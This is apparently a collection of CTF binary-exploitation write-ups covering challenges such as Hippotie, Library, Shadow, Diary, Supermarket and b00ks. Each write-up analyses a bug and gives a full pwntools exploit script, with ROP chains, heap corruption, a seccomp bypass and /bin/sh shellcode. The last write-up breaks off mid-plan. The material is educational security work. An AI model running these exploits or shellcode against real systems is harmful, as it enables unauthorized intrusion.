SharifCTF’16 Hippotie Write Up

It had been some time since I played a good CTF. I didn’t really have a lot of time to work on all challenges, but this challenge was a pretty good refreshment.

Running checksec on the binary gives us the following information:

$ checksec

Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE

Alright, so no protections other than NX. Great ! Let’s see what this binary is doing.

The binary is a menu driven program that has 5 functionalities Register, Sign in, Pack, Validate, Send and Exit. The binary maintains a structure which kind of looks like this:

struct obj {
obj *next;
char *name;
char *password;
}

A couple of these functionalities have interesting pieces of code in them.

  1. Register :
    1. Reads two strings (name and password) and XOR’s each byte of both strings with the next byte of the same string.
    2. Calls a function with the XOR’d values of name and password strings as arguments.
    3. This function (I’m calling it make) first calls another function that basically checks whether or not the table contains an entry of the same hash value( I’m calling it find_in_table).
    4. If yes, then it proceeds to re-write the password pointer with a new pointer that points to the buffer passed as argument.
    5. If no, it creates an object of required size on the heap, and places pointers to name and password inside the object.
    6. In the end, it copies the value at the table offset into its next pointer and then sets the value at the table offset to itself (Essentially creating a linked list of objects which have the same hash. New elements get added at the beginning).
  2. Sign in :
    1. This function reads in the strings name and password from the user and calls the function find_in_table with the string name read from the user as argument.
    2. If this function returns a valid object, the binary goes on to check whether or not the password entered by the user is the same as the one saved in the object.
    3. If the user input passes both these checks, then a global variable (username) is initialized to the name that we entered and another global variable (logged_in) is set to 1 ( I’m guessing that this is used to denote whether or not someone has signed in ).
    4. What we need to see is that our input is directly being compared to the strings stored in the object which are the results of an XOR operation on each of the strings.
  3. Pack :
    1. This function checks if the value of the global variable logged_in is 1 or not. It proceeds to the pack function only if the above comparison returns true.
    2. In the pack function, the binary goes on to read another string from the user.
    3. It then fetches the object corresponding to the name which is stored in the global variable username.
    4. It then overwrites the password of that object with the string that it just read in from the user.
  4. Validate :
    1. This function again requires that at least 1 user be logged in. It continues only if the comparison of logged_in with 1 returns true.
    2. It then goes on to get a pointer to the object corresponding to the value of the global variable username.
    3. It then copies 0x400 bytes of the password into a stack buffer of size 0x200 (BOOM, overflow).
  5. Send :
    1. All this function does is to call puts with a default string. But we’ll use this later on.

So we know that there’s an overflow, no other protections other than NX. So let’s start with our idea of exploit.

  • Register a user with some small name and password.
  • Sign in with the xor’d values of the same name and password.
  • Use the pack functionality to overwrite the password with a payload.
  • Call validate function to cause stack overflow and get control of RIP.

Now there weren’t enough gadgets to perform a execve(‘/bin/sh’) through system calls. So I resorted to leaking memory addresses. There is a pop rdi gadget which we can use to fill the register RDI with a got table address ( I used the got address of atoi). Now we need to find a function in the binary that calls puts but does not contain a leave instruction at the end. After this I decided to return to the main function to create a second payload.

So using this first payload, we can leak the libc address of atoi and from that we can calculate the address of system and ‘/bin/sh’. Now we can use the pack functionality to change the password again to another payload. This payload is a simple one that use the pop rdi gadget to fill the RDI register with a pointer to ‘/bin/sh’ and then calls system.

And well, that worked. Sad that I couldn’t get it ready during the CTF though. But pretty nice challenge, good job admins !

Here’s the script.

 

from pwn import *

def register(name,password):
	p.sendlineafter("> ","1")
	p.sendlineafter(": ",name)
	p.sendlineafter(": ",password)

def login(name,password):
	p.sendlineafter("> ","2")
	p.sendlineafter(": ",name)
	p.sendlineafter(": ",password)

def pack(payload):
	p.sendlineafter("> ","3")
	p.sendlineafter("?",payload)

def validate():
	p.sendlineafter("> ","4")
	p.recvline()

if __name__ == "__main__":
	g1 = 0x00401483					
	atoi = 0x602818
	leak = 0x40135E
	main = 0x401365

	p = process("hippotie")
	libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

	register("ABBC","ABBC")
	login(chr(0x3),chr(0x3))
	payload = fit({0x218:p64(g1)+p64(atoi)+p64(leak)+"A"*8+p64(main)},length=0x300)
	pack(payload)
	validate()
	libc.address = u64(p.recvline().strip().ljust(8,"\x00")) - libc.symbols['atoi']
	system = libc.symbols['system']
	binsh = libc.search("/bin/sh").next()
	p.sendlineafter(">","3")
	payload = fit({0:chr(0),0x218:p64(g1)+p64(binsh)+p64(system)},length=0x300)
	p.sendlineafter("?",payload)
	p.sendlineafter(">","4")
	p.recvline()
	p.interactive()

TUMCTF Library Write Up

I couldn’t solve this problem during the CTF, but found it to be very interesting. I have solved problems involving heap bugs, but never one that had something to do with fastbins. It took me a while, but learning something new is always good.

Let’s get down to business. Running checksec on the binary gives the following data :

$ checksec vuln
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE

Alright, let’s see what the binary does. A little bit of reverse engineering and we find that the binary maintains a list of structure objects which I’m gonna call books. And there’s a table which contains pointers to each of these books.

The structure of the book can be described like this :

struct book {
char title[32];
char text[32];
int rating;
}

I kept looking for some overflow but that didn’t get me anywhere.

One thing that we need to notice in this binary is the existence of a favorite global pointer. This pointer is adjacent to the pointer table and the number of entries in the table num. The size of the table is changed according to the number of entries. So each time we add a new book , or delete an existing one, the table pointer is realloc‘ed with the value of num.

The favorite can be made to point to any of the entries in the table. And we can also edit the contents of the object which is pointed to by favorite.

So if we were to delete the book at index ‘x’, while our favorite points to the same book, we would be able to edit data in a free chunk using the edit option of the favorite book .So what we need to do is to create an object, mark it as favorite, delete it, edit the favorite. Done ! But what do we write in that free chunk ?

So what we need here is a memory leak. The sizes of the book objects are always 80. So if we were to add ‘n’ number of books and then delete all of them, they would end up in the same fastbin. And when a new request is made to malloc, it tries to return the top chunk, if any, from the appropriate fastbin. The fastbin is a LIFO structure. So the top chunk has a pointer to the next chunk. If we create 2 chunks A and B, make A our favorite, delete B, delete A, A should contain the pointer to B (Since A is now the top of the fastbin and B came before). So the address of B will be printed out while printing the details of the favorite book. And there’s the memory leak.

So if our favorite pointed to the last chunk that was deleted, that same chunk will returned by malloc or realloc provided the requested size was 80.

And if we can get realloc to return the same chunk as favorite, we could control the table array.

So our objective as of now is to get realloc to return the same chunk pointed to by favorite. Which is not really possible. Because, if that has to happen, the table has to contain 7 chunks (8 chunks => size = 80). But we need to delete the chunk pointed to by favorite. So that realloc can return it. But, when we delete one chunk, the number of elements become 6, and therefore,the table pointer is not changed. And if we were to add a new chunk to make num 7, then that new chunk is what favorite points to and not the table array.

What we can do here is to corrupt the fastbin list. When you delete a book for the first time, its next pointer is set to NULL, since it is the only element in the fastbin. The next time a chunk is free‘d, this new chunk’s next points to the previously free‘d chunk. So the top of the fastbin changes from say ptr to ptr->next.
Let’s call the chunks A,B,C…etc. Suppose we make A as our favorite. And now we delete A. Now we edit the favorite and make the next pointer of A point to B. Remember that B is in use. Now A will be returned by the first request made to malloc or realloc after deleting A. But on the next call to malloc or realloc, the chunk returned will be B (Assuming the requested size is the same as that of B).

So if we create 7 chunks, the size of the table will be 0x40. Now we make the first our favorite. We delete the the first book. Now we edit the content of favorite and set the next pointer to the second book. Since we deleted the first book, num = 6. So we need to create 2 more chunks so that the size requested will be 0x50. And a request of this size will be fulfilled from the fastbin of the appropriate size. And the the chunk returned by realloc will be the address of the second book. And if we edit the second book, we edit the table contents.

So, let’s list it out :

  • Create two chunks.
  • Make the first our favorite.
  • Delete the second chunk
  • Delete the first chunk
  • Get address of second chunk from favorite.
  • Create 7 chunks.
  • Delete first chunk
  • Edit favorite and set next_ptr to second chunk’s address + 8.
  • Create two chunks.
  • Now the table is in the data section of the second book.
  • Change a table entry to GOT table (here strtoul).
  • Leak address of strtoul.
  • Overwrite GOT entry of strtoul with system.
  • Send “/bin/sh”

There are a few things that we need to consider, like, the next pointer of the deleted chunk should point to the data section of the second book. Also, the first 8 bytes of this second chunk’s data should be the size which here is 0x51. Otherwise, if we were to point the next pointer to the second book’s prev_size field, the title that we gave would be considered as the next pointer of the second chunk which leads to unecessary issues. An easy way is to overwrite the title with 0x51 and make the next pointer point to the second book’s size field.

So if you were able to get all that working, you get a shell. Here’s the script.

from pwn import *

got=0x602070

def add(title,rating,text):
	p.sendlineafter(">","a")
	p.sendlineafter(":",title)
	p.sendlineafter(":",str(rating))
	p.sendlineafter(":",text)

def edit(idx,title,rating,text):
	p.sendlineafter(">",str(idx))
	p.sendlineafter(":","e")
	p.sendlineafter(":",title)
	p.sendlineafter(":",str(rating))
	p.sendlineafter(":",text)

def make_fav(idx):
	p.sendlineafter(">",str(idx))
	p.sendlineafter(":","f")

def delete(idx):
	p.sendlineafter(">",str(idx))
	p.sendlineafter(":","d")

p=process("vuln")

add("A",0,"A")
add("B",0,"B")
make_fav(0)
delete(2)
delete(1)
p.recvuntil("favorite: ")
p.recvuntil("favorite: ")
heap=u64(p.recvline().strip("\n").ljust(8,"\x00"))-0x70
log.success("Heap starting at : {}".format(hex(heap)))

for x in range(7):
	add("\x51",0,"\x51")
delete(1)

edit(0,p64(heap+0x78),0,"AAAA")

add("A",0,"A")
add("B",0,"B")

payload=fit({8:p64(got)},length=16,filler="A")
edit(1,payload,0,"\x00")

p.recvuntil("1: ")
p.recvuntil("1: ")
p.recvuntil("1: ")
strtoul=u64(p.recvline().strip("\n").ljust(8,"\x00"))
log.success("Strtoul = {}".format(hex(strtoul)))

edit(1,p64(strtoul+0x9180),"","")
p.sendline("/bin/sh\x00")
p.recvuntil(">")
p.recvuntil(">")
p.interactive()

 

A bit sad that I couldn’t solve this during the CTF. But loved this challenge.

ASIS Finals 2016 Shadow Write up

Pretty nice challenges. Took me a while to get an exploit working but enjoyed the whole process.

Let’s take a look at the binary

$ checksec shadow

Arch: i386-32-little
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE

Alright, so NX is disabled. Pretty useful. The binary uses the concept of a shadow stack as mentioned in the write up of Shadow from MMA CTF’2nd. It saves the return addresses in a separate memory page. But the difference is that the shadow stack is created with rwx protections. So we can theoretically overwrite the saved return addresses. The call function saves the original return address to the shadow stack and writes the address of ret function to the original stack. This ret function, when called, pops the value at the top of the shadow stack and returns to that address.

The description says this much:

Check with the guard. Beware, he will not let you in if you are under 18.

If we look into the code of the program, we see that there isn’t really any overflow or format string attack anywhere except in the beerdesc function. But that function has canary enabled which is just going to make things difficult. Also there doesn’t seem to be any way of using negative integers in a signed comparison. But something which I noticed was that we could create as many chunks as needed. The program just prints out an extra message if we exceed 10 objects.

Following up on that idea, we find out that we can only create at max 712 objects. The pointer to each object is placed in a table in the bss segment. If we were to create a 713’th object, the pointer would be written into an unmapped area causing a segfault.

So Plan B. If we were to request a chunk of a large size, (larger than the top chunk can provide), we will be allocated a memory region that is adjacent to the page where the shadow stack exists. But even after that, the shadow stack pointer is nearly 200000 bytes away from the last word that we can control. If we were to request another chunk, we’d get it at a lower memory address which is just farther away from the top of the shadow stack. And since there’s no overflow possible in the heap chunks, we can’t overwrite the return address in that way.

Also, if we look at the code of add_one function, we see that it requests the size of description from the user, adds 9 to it and calls malloc with that value. It then reads the exact number of bytes the user specified into the chunk at offset 12. The first 4 bytes of the chunk is the size that the user specified. The next 4 bytes is the address of a function. This function pointer is selected at random from 4 functions all of which basically print out a message and return.

But the thing of importance in the add_one function is that, if we were to specify an out of bounds size, the function would call itself. Now a simple loop would have sufficed, but here it resorts to recursion. That is our vulnerability.

if ( len && len <= 0x100000 ){
ptr = call(malloc);
….
}
else {
call(add_one);
}

I first thought of calling the add_one function until the shadow stack pointer points to some location where the chunk will be allocated. But that memory location will get mmapped only when the chunk gets allocated. So we can, at most, move the function pointer by 4 bytes into the allocated chunk. But since the size that we requested is added by 9 and then passed to malloc, we cant really control the last 4 bytes of the allocated chunk. There might be some value of size which enables us to at least control the lower 2 bytes, but I didn’t bother to look.

What we can do instead is to use the recursions to our advantage. Looking at the code of beerdesc function, we can see this line of code which can be used.:

 call(*(beerlist[idx] + 4));

Which basically calls the function pointer of a chunk who’s index we specify.

So if we can move the shadow stack pointer far into the chunk allocated, we can overwrite the function pointer of that chunk with an address in the add_one function. Specifically, the function pointer would be overwritten with the address 0x080489F7 which is the address add_one should return to after calling printf.

080489F7    add esp, 0x10
080489FA   mov eax,0x0
080489FF    leave
08048A00   ret

This is where we can use the overflow in the beerdesc function. Once we overwrite the function pointer of the allocated chunk to this address, while calling the function pointer, the above code will be executed. And this code doesn’t check for canary integrity. So we can overflow and overwrite the return address of beerdesc and when it calls the function pointer of the allocated chunk, we get control of eip.

So putting it all together, the plan goes like this :

  • When prompted for nickname, give shellcode. This gets stored in the bss.
  • Allocate a chunk large enough to mmap the page adjacent to shadow stack.
  • Make add_one call itself by giving an out of bounds size until the function pointer of the first chunk has been overwritten.
  • Call beerdesc.
  • When prompted for index, send payload that will set idx to 0 and overwrites saved return address
  • Return address should be overwritten with the address of the shellcode.

The shellcode has to be null character free since it is being read in by scanf. Also the address of the nickname is 0x0804A520. The last character, 0x20, is a whitespace character. Proper nop sled should fix that.

Here’s the script:

from pwn import *
p=remote("shadow.asis-ctf.ir",31337)
shellcode="\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload="\x90"*4+shellcode+"\x90"*8
p.sendline(payload)
p.sendline("1")
p.sendline("143340")
p.sendline("A"*143339)
p.sendline("1")
for x in range(0,86010):
	p.sendline("-1")
	if x == 86009 :
		print "Reached ",x
p.sendline("10")
p.sendline("A"*9)
p.sendline("2")
payload=fit({0:"0",116:p32(0x0804A524)},length=254)
p.sendline(payload)
p.recvuntil("yes:")
p.interactive()

 

And well, running that gave the flag:

python exploit.py
[+] Opening connection to shadow.asis-ctf.ir on port 31337: Done
Reached 86009
[*] Switching to interactive mode
$ ls
flag.txt
shadow
wrapper.sh
$ cat flag.txt
ASIS{732f9beb138dbca4e44d5d184c3074dc}
$ exit

 

Flag : ASIS{732f9beb138dbca4e44d5d184c3074dc}

MMACTF 2nd Shadow Write up

I couldn’t solve this problem during the ctf, but it was a really nice challenge which demonstrated a pretty good concept. Let’s take a look at the binary.

$ checksec shadow

Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE

If we look at the binary, we see that there’s a main function and then there’s a _main function which is called by main. Also call and ret seem to be functions rather than just instructions.

Looking through the call and ret functions, we see that they call the functions push and pop respectively. The call function pushes the saved ebp and the saved eip onto another memory page which in this case is the shadow stack. This memory page has, by default, no permissions either to be read from or to be written to. This page is made readable and writable only when required by the push and pop functions and then immediately changes it back to no permissions.

There are two buffers which the function uses. One is created by _main. This _main then calls message function which is basically the driver function. It has 3 arguments. I’ve named them as follows :

  1. name
  2. name_length
  3. loops

The message function has its own buffer which I’m gonna call msg. This function does the following

  • If the function has just started execution, ask for a name which will be stored in the name buffer.
  • Ask for a length
  • If length > 32, set length = 32 and read length bytes into msg.
  • Increment counter.
  • If counter >= loops, go to epilogue.
  • Else, prompt whether user wants to change name
  • If yes, read new name
  • Else, loop again.

The vulnerability lies in this part of code

0x080488A3    mov [ebp+n_bytes], eax
0x080488A6    cmp [ebp+n_bytes], 0x20
0x080488AA    jle short 0x80488B3
0x080488AC    mov [ebp+n_bytes], 0x20
0x080488B3     mov dword ptr [esp+4], 0x8048C8E

Here ebp+n_bytes is where the length entered by the user is saved. jle instruction is a signed comparison instruction. Which means that if we were to enter -1 as the length, we’d pass the check.

So first thing we could do would be to leak the value of the canary. But as you will see later on, that is not needed here.

The size of the name buffer is 16 bytes. Right after those 16 bytes are some pointers. The 4th pointer after the end of the name buffer is a pointer to the stack. So by giving a string of size 16 bytes, we can leak out that pointer.

Now we can overflow the msg using the above mentioned vulnerability and change the value of the name pointer. So after leaking out a pointer to the stack, the next objective is to change the value of the name pointer to the GOT table. This will leak out the address of a libc function which we can use later on.

We also need to make sure that we change the value of the loops and the name_length variables to some large value. Now we’ve got our weapons and intel. Next comes the attack.

As mentioned, we cannot overwrite entries of the GOT table, nor can we change the values in the shadow stack. We cannot even change the pointer to the shadow stack since it gets replaced by the program before executing a ret or a call.

So what we need to do is to find some function which actually uses a ret instruction rather than the ret() function.

The only function that does that would be libc functions.

So if we were to calculate the address of read‘s saved eip, we could use that to our advantage. The function prompts us whether or not we want to change the name. If we reply ‘y’, the function then proceeds to call getnline with the arguments name,name_length. This function then goes on to call read with the same arguments. So the idea would be to change the name pointer to the address where the saved eip of read would be stored and reply ‘y’ when prompted whether or not to change the name.

So we would change the saved return address of read while executing read and then we could return to an arbitrary address. Here we use the info leaks we mentioned before.

So putting it all together

  • Leak the pointer to the stack by filling the name buffer with 16 bytes.
  • Leak the address of some libc function by changing the name pointer to point to the GOT table.
  • Change the name pointer to the address where read‘s saved eip will be stored.
  • Reply ‘y’ when prompted whether or not to change name.
  • Send address of system + “AAAA” + address of /bin/sh

And yes that worked.

$ python exploit.py
[+] Opening connection to pwn2.chal.ctf.westerns.tokyo on port 18294: Done
[+] Read’s saved eip @ 0xfffa82ac
[+] Atoi @ 0xf75fc8e0
[*] Switching to interactive mode
$ ls
flag
shadow
$ cat flag
TWCTF{pr3v3n7_ROP_u51ng_h0m3m4d3_5h4d0w_574ck}

Sad that I couldn’t solve this problem during the CTF. But really enjoyed it.

Flag: TWCTF{pr3v3n7_ROP_u51ng_h0m3m4d3_5h4d0w_574ck}

Here’s the exploit script.

from pwn import *
p=process("shadow")
p.sendafter("name :","n"*16)
p.sendlineafter("length :","10")
p.sendlineafter("message :","A")
p.recvuntil("<")
p.recv(28)
read=u32(p.recv(4))-0x100
log.success("Read's saved eip @ "+hex(read))

p.sendlineafter("n) :","n")
p.sendlineafter("length :","-1")
payload=fit({52:p32(0x8049ff8),56:p32(0x100),60:p32(0x100)},length=64)
p.sendlineafter("message :",payload)
p.recvuntil("<")
atoi=u32(p.recv(4))
log.success("Atoi @ "+hex(atoi))

p.sendlineafter("n) :","n")
p.sendlineafter("length :","-1")
payload=fit({52:p32(read),56:p32(0x100),60:p32(0x100)},length=64,filler="A")
p.sendlineafter("message :",payload)

payload=p32(atoi+0xea30)+"A"*4+p32(atoi+0x12ef6c)
p.sendlineafter("name :",payload)
p.interactive()

MMA CTF’2nd Diary Write Up

First of all, good job admins. Loved the questions and the whole game went without a hitch. Well done !

Now on to the binary. Diary is a 64 bit binary with the following protections enabled.

$ checksec diary
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE

Now lets get into the details.

Looking at the functions in the binary, we see some of interest like init_heap, unlink_freelist, init_seccomp etc.

In the init_heap , we see this code:

void *init_heap()
{
void *result; // rax@1

result = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
mmaped_buf = result;

And then it goes on to set some global variables to the mmapped area. We can see here that the heap is created with the protections 7 which is read/write/execute. So possibility of return to shellcode here. But we’ll get to that later.

The objects

The binary creates an object which is something like below:

struct dates {
int date;
char *buffer;
dates *next;
dates *prev;
}

The pointers next and prev are set to an address in the bss if the next and/or previous objects do not exist.

Working

The binary maintains a linked list of the objects of the form as shown above. Each object is identified by the first 8 bytes which constitute the date it represents. Duplicate elements cannot be inserted into the linked list. The list is sorted according to the date.

Vuln

The vulnerability is fairly easy to spot in this case. It lies in the getnline function.

int getnline(void *buffer, int size){
unsigned int i; // [sp+18h] [bp-8h]@1
unsigned int n; // [sp+1Ch] [bp-4h]@1

n = read(0, buffer, size + 1);
for ( i = 0; i < n; ++i ){
if ( *(buffer + i) == '\n' ){
*(buffer + i) = 0;
return i;
}
}
return i;
}

As you can see, the read function’s third argument is size+1 which means that there is a single byte overflow. Now if we look at the free function, we can see that it implements the old vulnerable unlink method. So the method of exploit here is similar to the old unlink method except for a few variations.

Leak

So the next thing we need to be looking for is a memory leak. As we can see, in the structure definition objects contain pointers to the next and previous objects along with a pointer to the buffer. The size of the buffer chunk is under our control and the size of the structure object is 32. So my idea was to create two chunks of buffer size 32, delete both the objects, create one object of size 64. This means that the buffer of the newly created object would be able to stop just before the pointers stored in the previous second object. Although implementing this required us to create two extra objects so that the deleted object doesn’t get coalesced with the top chunk. So using this vuln we can leak out a pointer to the mmapped area.

Exploit

Now onto the exploit. The idea goes like this,

Use the single byte overflow in a buffer chunk to overwrite the size field of an object chunk. Make sure to set the PREV_INUSE bit of this object chunk so that we don’t need to bother about backward consolidation. The address of the next chunk is computed as follows.

next = ((*(ptr – 8) & 0xFFFFFFFFFFFFFFFELL) + ptr – 8);

Where ptr is the argument to free().

So if we set the size field correctly, the next pointer can be set to somewhere in the buffer chunk of that object. There we can create a fake chunk with its next and previous pointers set to locations we want. Here I decided to set these pointers to the GOT table and the address of another chunk which will contain shellcode.

So to wrap it up into one set of steps, here it goes.

  • Create 4 entries of buffer sizes 32.
  • Delete the 2nd and 3rd entries.
  • Create another entry of buffer size 64.
  • Print the last created object.
  • This leaks out a pointer to the mmapped area.
  • Now delete all the chunks created (Just felt like starting afresh)
  • Create one object with buffer size of 32.
  • Create another object with buffer size of 128.
  • This buffer will contain the fake chunk.
  • Create anther chunk of a large buffer size.
  • This chunk will contain the shellcode.
  • The size of the buffer chunk should be large enough so that it translates to a short jump instruction.
  • Delete the first chunk.
  • Create the first chunk again, this time with one extra byte in the buffer which will overwrite the size field of the the second object.
  • Delete the second object.

So all this seems fine and I was happy to find that the control flow does go into my shellcode. But it didn’t matter which shellcode I used, I couldn’t land a shell. That is when I noticed the init_seccomp function. The binary runs in a sandbox which does not allow syscalls like execve and open. So that’s why this challenge contains 300 points. We need to bypass this filter.

The vulnerability in this filter is that it does not filter out 32 bit syscalls. So it is possible to use a 32 bit shellcode which can land a shell. All 64 bit binaries can execute int 0x80 instructions. However normal shellcodes push the string `/bin/sh` on to the stack and then move the value of esp into ebx in order to execute execve syscall. However, here the stack addresses are 64 bit and using a random 32 bit shellcode could result in a segfault.

So we need to write a custom shellcode which moves the string /bin/sh onto a location that can be accessed by 32 bits and then use that address as argument. The challenge description says that we can use ./bash so I wrote the shellcode to do that.

And well, that worked and it landed a shell, but strangely I couldn’t execute an ls command in the shell. Running help gave me the following output.

$ help
GNU bash, version 4.4.0(1)-rc2 (x86_64-unknown-linux-gnu)
These shell commands are defined internally. Type `help’ to see this list.
Type `help name’ to find out more about the function `name’.
Use `info bash’ to find out more about the shell in general.
Use `man -k’ or `info’ to find out more about commands not in this list.

And then a whole lot of commands and their syntax. And trying cat flag or cat flag.txt didn’t work. So we needed to print out the contents of the directory without using ls. One way to do that would be echo * which did list out the contents.

$ echo *
bash diary flagflag_oh_i_found
$

And then simply running cat flagflag_oh_i_found didn’t really work. So we had to find another way to do that. So googling around, we found this method

$ read arr < flagflag_oh_i_found
$ echo $arr
TWCTF{bl4ckl157_53cc0mp_54ndb0x_15_d4ng3r0u5}
$

And there you go.

Really nice challenge.

Flag:  TWCTF{bl4ckl157_53cc0mp_54ndb0x_15_d4ng3r0u5}

Here’s the exploit script.

from pwn import *

def create(size,payload,date):
p.sendlineafter(">> ","1")
p.sendlineafter("... ",date)
p.sendlineafter("... ",str(size))
p.sendafter(">> ",payload)

def remove(date):
p.sendlineafter(">> ","3")
p.sendlineafter("... ",date)

def leak(date,n):
p.sendlineafter(">> ","2")
p.sendlineafter("... ",date)
p.recvline()
p.recv(n)
msg=p.recvline().strip("\n")
context.bits=48
addr=unpack(msg)-0x140
print "Leaked start of page ",hex(addr)
return addr

p=remote("pwn1.chal.ctf.westerns.tokyo",13856)
#p=process("diary")
atoi=0x602080
# Leaking the start of the page

create(32,"A"*8,"1970/1/2")
create(32,"B"*8,"1970/1/3")
create(32,"C"*8,"1970/1/4")
create(32,"D"*8,"1970/1/5")
remove("1970/1/4")
remove("1970/1/3")
create(64,"E"*40,"1970/1/3")
addr=leak("1970/1/3",40)
remove("1970/1/2")
remove("1970/1/3")
remove("1970/1/5")

# Exploit

create(32,"A"*8,"1970/1/1")
payload=fit({40:p64(0x19)+p64(atoi-16)+p64(addr+0x128)+p64(0x18)+p64(0x39)},length=128,filler="A")
create(128,payload,"1970/1/2")
shellcode="\xb8\x0b\x00\x00\x00\xbb\xa8\x20\x60\x00\xc7\x03\x2e\x2f\x62\x61\xc7\x43\x04\x73\x68\x00\x00\x31\xc9\x31\xd2\x31\xff\x31\xf6\xcd\x80"
create(3296,"\x90"*9+shellcode,"1970/1/3")
remove("1970/1/1")
create(32,"A"*32+"\x59","1970/1/1")
remove("1970/1/2")

p.recvuntil(">> ")
p.sendline("")
p.interactive()

Whitehat contest 11 supermarket

I wasn’t really in a good mood when I found out that the binary was C++ and not C. I’m not very good with those.

Getting into the details of the binary, it contains a few classes, some of which are derived from another. Each class has a input function, an output function, a constructor and a destructor.

The original class is called MyObject and it goes like this:

class MyObject{
string id[20];
string name[50];
};

This class also contains a getID function which basically returns the string id of the object.

There are three classes that are used. All of them have been derived from the MyObject class. They are the product, staff and customer classes.

In the stack frame for main, there are 3 arrays allocated. Each one contains objects of one kind. We can add objects, delete them, search with the string index, show all objects of a particular type and insert an object at any location in the array. But what we can’t do is to edit any object that we created.

The vulnerability lies in the insert function. It asks us for an index and the object created is placed at that index of the corresponding array. The vuln is that we can also give negative indexes.

The insert functionality is done by a function ( I’m calling it insert()) which again calls another function  insertIntoArray(). So if I were to provide a negative index, the address of the chunk could possible overwrite the saved eip of any of the two functions.

But the first 4 bytes of the object is the virtual-function table of the object. So overwriting saved eip was not the best option. So we thought of overwriting the saved ebp. An index of -18 seemed to do the job.

Now we’ve got control flow. What now?

I decided to use the functions input and output of class MyObject. Both these functions read input into, and print the values at arg1+4 and arg1+24.

So using the output function of MyObject, I leaked the values in the GOT table.

And then using the input function, I overwrote the strcmp function with the address of system.

I chose strcmp() because all other functions were getting used somewhere else.

So all that was left was to somehow make a call to strcmp with an argument “/bin/sh”.

The sort functionality does that for us. It takes each object in the corresponding array and sorts it according to the ID. This comparison is done using a strcmp. So we just needed to create an object with the ID as “/bin/sh” and then call the sort function.

And well that worked. Sadly, I couldn’t finish it during the ctf and could only test it locally.

Anyway, here’s the script:

from pwn import *

p=process("supermarket")
e=ELF("supermarket")
libc=ELF("/lib/i386-linux-gnu/libc.so.6")

got_table=e.address+0x4000
log.info(p.recvuntil(":\n"))

product=1
staff=2
customer=3
op=0x80493e6
ip=0x804933c
g1=0x08049981                               #add esp,0x8;pop ebx;ret;
got_table+=0x1c

got_at_strlen=e.read(got_table+4,4)
got_at_puts=e.read(got_table+24,4)
got_at_printf=e.read(got_table+8,4)
got_at_znwj=e.read(got_table+12,4)

menu=e.symbols['main']+0x77

def create(val,idx):
    p.sendline("1")
    log.info(p.recvuntil(":\n"))
    p.sendline(str(val))
    log.info(p.recvuntil(":\n"))
    p.sendline(idx)                         #id
    log.info(p.recvuntil(":\n"))
    p.sendline("A"*4)                       #name
    log.info(p.recvuntil(":\n"))
    p.sendline("B"*4)                       #address
    log.info(p.recvuntil(":\n"))
    p.sendline("C"*4)                       #phno
    log.info(p.recvuntil(":\n"))

def delete(val,idx):
    p.sendline("2")
    log.info(p.recvuntil(":\n"))
    p.sendline(str(val))
    log.info(p.recvuntil(":\n"))
    p.sendline(str(idx))
    log.info(p.recvline())

def insert(loc):
    p.sendline("3")
    log.info(p.recvuntil("choice:\n"))
    p.sendline(str(customer))
    log.info(p.recvuntil(":\n"))
    payload=pack(op)+pack(g1)+pack(got_table)+pack(-1)+"\x00"
    p.sendline(payload)                     #id
    log.info(p.recvuntil(":\n"))
    payload=pack(ip)+pack(g1)+pack(got_table)+pack(-1)*2+pack(menu)
    p.sendline(payload)                     #name
    log.info(p.recvuntil(":\n"))
    p.sendline("")                          #address
    log.info(p.recvuntil(":\n"))
    p.sendline("")                          #phno
    log.info(p.recvuntil(":\n"))
    p.sendline(str(loc))
    log.info(p.recvline())

def sort():
    p.sendline("5")
    log.info(p.recvuntil(":\n"))
    p.sendline("3")
    p.interactive()

if __name__=='__main__':
for x in range(0,75):
create(customer,"")
insert(-18)
log.info(p.recvline())
log.info(p.recvuntil(": "))
msg=p.recv(4)
log.info(p.recvline())
libc.address=unpack(msg)-libc.symbols['puts']
log.info(p.recvuntil(":\n"))
payload=got_at_strlen+got_at_printf+got_at_znwj
p.sendline(payload)
log.info(p.recvuntil(":\n"))
payload=got_at_puts+pack(libc.symbols['system'])*2
p.sendline(payload)
log.info(p.recvuntil(":\n"))
create(customer,"/bin/sh")
create(customer,"")
sort()

ASIS CTF Quals 2016 b00ks Writeup

I couldn’t solve this problem during the CTF. But really enjoyed it.

At first glance, I expected a 150 point pwnable from ASIS CTF to be quite easy, but I was wrong. The binary was 64 bit and had NX, PIE and Full RELRO. There was no canary, although in the end it didn’t actually matter.

Getting into the disassembly, the program maintains a list of around 20 books. Each book is a structure which has an ID, Name, Description and a size. Something like:

stuct book{
int id;
char *name;
char *description;
int size;
}

The name and description buffers are malloc’d areas. The name buffer is allocated on the heap first, followed by the description buffer. After this, the structure object is also placed on the heap. There is also a buffer in the .bss which stores the authors name. Right after this buffer is our table which contains pointers to the different structure objects on the heap.

The only vulnerability which I found, after going through the disassembly for a while, was a memory leak and a null byte overflow.

At the beginning of the program, it asks us to enter an author name. If we enter 32 bytes, the buffer becomes contiguous to the table. So while printing out the details of an object, the address of the object is leaked.

Now, if we use the edit author’s name functionality, we can overflow a null byte into the table. This might not seem like much, but well, it can land a shell eventually.

Using this null byte overflow, the first entry of the table gets changed. The address of the first object changes from 0xdeadbeef to 0xdeadbe00. This latter value can be somewhere in the description buffer of the same object.

So essentially, I can create a fake structure in the description buffer of the first object which the program will try to access while performing the edit or print functions.

My first idea was something like this:

  • Create fake object in description.
  • Name of fake object is a GOT address.
  • Description of fake object points to the second object on the heap, which can be computed from the first memory leak.
  • Overflow null byte. (This is where the object 1 changes to my fake object)
  • Leak some libc function’s address using the print functionality.
  • Edit description of object 1 (This edits the title and description pointers of object 2 to point to preferably the saved rip).
  • Edit description of object 2 (This where I can overwrite saved rip).
  • ROP.
  • Quit.

However, this idea couldn’t be implemented due to the fact that GOT was randomized with a different base than the heap. And also the GOT was read-only. So, new plan.

